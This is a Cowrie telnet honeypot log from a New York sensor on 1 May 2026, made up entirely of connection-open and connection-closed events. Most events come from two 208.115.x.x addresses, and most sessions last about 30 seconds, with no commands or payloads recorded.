{"eventid":"cowrie.session.closed","duration":31.145596742630005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.309669Z","src_ip":"208.115.200.90","session":"fed9057c6679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012821197509766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.400651Z","src_ip":"208.115.219.122","session":"58ec5cb252c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.373390436172485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.570083Z","src_ip":"208.115.200.90","session":"0783a4d4e666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39138,"dst_ip":"10.17.0.5","dst_port":23,"session":"913c0d7409de","protocol":"telnet","message":"New connection: 208.115.200.90:39138 (10.17.0.5:23) [session: 913c0d7409de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.621776Z"}
{"eventid":"cowrie.session.closed","duration":30.905383110046387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:53.040228Z","src_ip":"208.115.219.122","session":"bc931d1fb05f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778027534484863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:53.141888Z","src_ip":"208.115.200.90","session":"15ddf6d1c2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39164,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c586928ced","protocol":"telnet","message":"New connection: 208.115.200.90:39164 (10.17.0.5:23) [session: 23c586928ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:53.294108Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b12da80930fa","protocol":"telnet","message":"New connection: 208.115.200.90:39180 (10.17.0.5:23) [session: b12da80930fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:53.421918Z"}
{"eventid":"cowrie.session.closed","duration":31.35686182975769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:53.604432Z","src_ip":"208.115.200.90","session":"1664fa2776b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148163318634033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:53.670086Z","src_ip":"208.115.200.90","session":"c8a5fc34946b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91981816291809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.054839Z","src_ip":"208.115.200.90","session":"161c88a1e7b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39184,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ef7e6d9823","protocol":"telnet","message":"New connection: 208.115.200.90:39184 (10.17.0.5:23) [session: 95ef7e6d9823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.113203Z"}
{"eventid":"cowrie.session.closed","duration":31.02172088623047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.167073Z","src_ip":"208.115.200.90","session":"406ed881399a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.863768815994263,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.174568Z","src_ip":"105.186.100.192","session":"abadee927fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.597381591796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.384706Z","src_ip":"208.115.200.90","session":"9efe7a967467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.470024585723877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.433386Z","src_ip":"208.115.219.122","session":"b8eb8e4ee59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47112,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec70d64a688b","protocol":"telnet","message":"New connection: 208.115.200.90:47112 (10.17.0.5:23) [session: ec70d64a688b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:54.754518Z"}
{"eventid":"cowrie.session.closed","duration":30.18203091621399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:55.035858Z","src_ip":"208.115.200.90","session":"83011e44ccaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654022693634033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:55.104377Z","src_ip":"208.115.200.90","session":"8949fd941aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22249937057495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:55.321366Z","src_ip":"208.115.219.122","session":"4b14cc2fb440","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864580631256104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:55.328651Z","src_ip":"208.115.200.90","session":"4d048a05af20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969265460968018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:55.718202Z","src_ip":"208.115.200.90","session":"3f54632402eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09535002708435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:56.266800Z","src_ip":"208.115.200.90","session":"1110b0666e81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb42cfa923d1","protocol":"telnet","message":"New connection: 208.115.200.90:47114 (10.17.0.5:23) [session: eb42cfa923d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:56.945694Z"}
{"eventid":"cowrie.session.closed","duration":30.882513999938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.019557Z","src_ip":"208.115.200.90","session":"741b0e67be3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61136221885681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.054258Z","src_ip":"208.115.219.122","session":"6b933da3ccc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47130,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f095e9e323f","protocol":"telnet","message":"New connection: 208.115.200.90:47130 (10.17.0.5:23) [session: 7f095e9e323f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.062246Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"39474f79d33c","protocol":"telnet","message":"New connection: 208.115.200.90:47134 (10.17.0.5:23) [session: 39474f79d33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.139119Z"}
{"eventid":"cowrie.session.closed","duration":30.668732166290283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.254507Z","src_ip":"208.115.200.90","session":"7f9bcc0d04ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225516080856323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.271787Z","src_ip":"208.115.200.90","session":"99fec707b37e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.604482650756836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.280268Z","src_ip":"208.115.200.90","session":"e655b691ede7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60198,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d419ee670e9","protocol":"telnet","message":"New connection: 208.115.219.122:60198 (10.17.0.5:23) [session: 3d419ee670e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.316410Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8cd9819b37d","protocol":"telnet","message":"New connection: 208.115.219.122:60214 (10.17.0.5:23) [session: d8cd9819b37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.457132Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47144,"dst_ip":"10.17.0.5","dst_port":23,"session":"969ca8a39db9","protocol":"telnet","message":"New connection: 208.115.200.90:47144 (10.17.0.5:23) [session: 969ca8a39db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.494712Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1add597fd40","protocol":"telnet","message":"New connection: 208.115.200.90:47148 (10.17.0.5:23) [session: f1add597fd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.550674Z"}
{"eventid":"cowrie.session.closed","duration":31.506221771240234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:57.892873Z","src_ip":"208.115.219.122","session":"74a534ddb062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88900637626648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.030891Z","src_ip":"208.115.219.122","session":"abf4a9b5f9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333796739578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.048114Z","src_ip":"208.115.200.90","session":"a8bb556b75c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55207872390747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.156007Z","src_ip":"208.115.200.90","session":"0cda181b482b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947543144226074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.173788Z","src_ip":"208.115.200.90","session":"7b9b2cc124fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822516918182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.196895Z","src_ip":"208.115.200.90","session":"7a9588fd91a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"685d39c924f2","protocol":"telnet","message":"New connection: 208.115.200.90:47152 (10.17.0.5:23) [session: 685d39c924f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.258319Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d84cd926b3f","protocol":"telnet","message":"New connection: 208.115.200.90:47156 (10.17.0.5:23) [session: 9d84cd926b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.348417Z"}
{"eventid":"cowrie.session.closed","duration":30.882439613342285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.483496Z","src_ip":"208.115.200.90","session":"bc0f2cba9900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47172,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f406b515ef7","protocol":"telnet","message":"New connection: 208.115.200.90:47172 (10.17.0.5:23) [session: 1f406b515ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:58.832247Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47180,"dst_ip":"10.17.0.5","dst_port":23,"session":"0841bd24c0b9","protocol":"telnet","message":"New connection: 208.115.200.90:47180 (10.17.0.5:23) [session: 0841bd24c0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.250894Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47182,"dst_ip":"10.17.0.5","dst_port":23,"session":"459bdcccb7e8","protocol":"telnet","message":"New connection: 208.115.200.90:47182 (10.17.0.5:23) [session: 459bdcccb7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.296969Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47198,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6d78399dc4","protocol":"telnet","message":"New connection: 208.115.200.90:47198 (10.17.0.5:23) [session: fe6d78399dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.382807Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d58d07bdc5","protocol":"telnet","message":"New connection: 208.115.200.90:47202 (10.17.0.5:23) [session: 26d58d07bdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.474374Z"}
{"eventid":"cowrie.session.closed","duration":30.915880918502808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.562739Z","src_ip":"208.115.200.90","session":"48f6ad08be0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.379239320755005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.765879Z","src_ip":"208.115.200.90","session":"2665bc3b6ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47216,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2498e60d230","protocol":"telnet","message":"New connection: 208.115.200.90:47216 (10.17.0.5:23) [session: c2498e60d230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.785973Z"}
{"eventid":"cowrie.session.closed","duration":31.641870260238647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:59.886399Z","src_ip":"208.115.200.90","session":"613ee83cc59a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607177257537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.255066Z","src_ip":"208.115.200.90","session":"d75debe56264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47220,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b2403ebedb1","protocol":"telnet","message":"New connection: 208.115.200.90:47220 (10.17.0.5:23) [session: 5b2403ebedb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.341412Z"}
{"eventid":"cowrie.session.closed","duration":31.00898838043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.464975Z","src_ip":"208.115.200.90","session":"cce123fb2846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968645095825195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.484025Z","src_ip":"208.115.200.90","session":"b80b0b20135a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47230,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd37a6748ceb","protocol":"telnet","message":"New connection: 208.115.200.90:47230 (10.17.0.5:23) [session: dd37a6748ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.524187Z"}
{"eventid":"cowrie.session.closed","duration":31.460671424865723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.702300Z","src_ip":"208.115.200.90","session":"4be040ccf024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64564275741577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:00.930165Z","src_ip":"208.115.200.90","session":"f5f574609394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659620761871338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:01.071101Z","src_ip":"208.115.200.90","session":"a5aaf26d157f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47236,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4b97e1e989","protocol":"telnet","message":"New connection: 208.115.200.90:47236 (10.17.0.5:23) [session: 5c4b97e1e989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:01.252556Z"}
{"eventid":"cowrie.session.closed","duration":30.865001440048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:01.272296Z","src_ip":"208.115.200.90","session":"947ae0f085f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837517023086548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:01.346844Z","src_ip":"208.115.200.90","session":"44385bd95431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717891216278076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:01.353096Z","src_ip":"208.115.200.90","session":"93c577e512f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91555166244507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:02.204041Z","src_ip":"208.115.219.122","session":"d8f482b327a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964091300964355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:02.295204Z","src_ip":"208.115.200.90","session":"34f8bb4800a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47248,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c1bfef8527a","protocol":"telnet","message":"New connection: 208.115.200.90:47248 (10.17.0.5:23) [session: 6c1bfef8527a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:02.358083Z"}
{"eventid":"cowrie.session.closed","duration":30.778548002243042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.016694Z","src_ip":"208.115.219.122","session":"c2ab03782dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51420283317566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.030694Z","src_ip":"208.115.219.122","session":"ff72a24101a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75139880180359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.082618Z","src_ip":"208.115.200.90","session":"0e4f4f185f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47254,"dst_ip":"10.17.0.5","dst_port":23,"session":"61326279173e","protocol":"telnet","message":"New connection: 208.115.200.90:47254 (10.17.0.5:23) [session: 61326279173e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.178120Z"}
{"eventid":"cowrie.session.closed","duration":30.349098205566406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.225545Z","src_ip":"208.115.200.90","session":"7b0d583f9831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562251091003418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.246165Z","src_ip":"208.115.200.90","session":"b44143fccce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682450532913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.261385Z","src_ip":"208.115.200.90","session":"c873e3cd18ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069897174835205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.354567Z","src_ip":"208.115.200.90","session":"cfdadaa6e9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945091724395752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.471605Z","src_ip":"208.115.200.90","session":"1d59963aae63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556901454925537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.698000Z","src_ip":"208.115.200.90","session":"e504b178009d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184414863586426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.757631Z","src_ip":"208.115.200.90","session":"b7ef40b6826c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178365230560303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:03.811290Z","src_ip":"208.115.200.90","session":"8fbe406906ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927452564239502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:04.074744Z","src_ip":"208.115.219.122","session":"5898377f66b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687607288360596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:04.080265Z","src_ip":"208.115.219.122","session":"bfedf8819f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.262840747833252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:04.140436Z","src_ip":"208.115.200.90","session":"cadf64852c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792205810546875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:04.258607Z","src_ip":"208.115.200.90","session":"9505c582ef34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb840d4222a7","protocol":"telnet","message":"New connection: 208.115.200.90:59742 (10.17.0.5:23) [session: eb840d4222a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:04.651508Z"}
{"eventid":"cowrie.session.closed","duration":31.426816701889038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:04.793553Z","src_ip":"208.115.200.90","session":"7418d69c8cda","protocol":"telnet"}
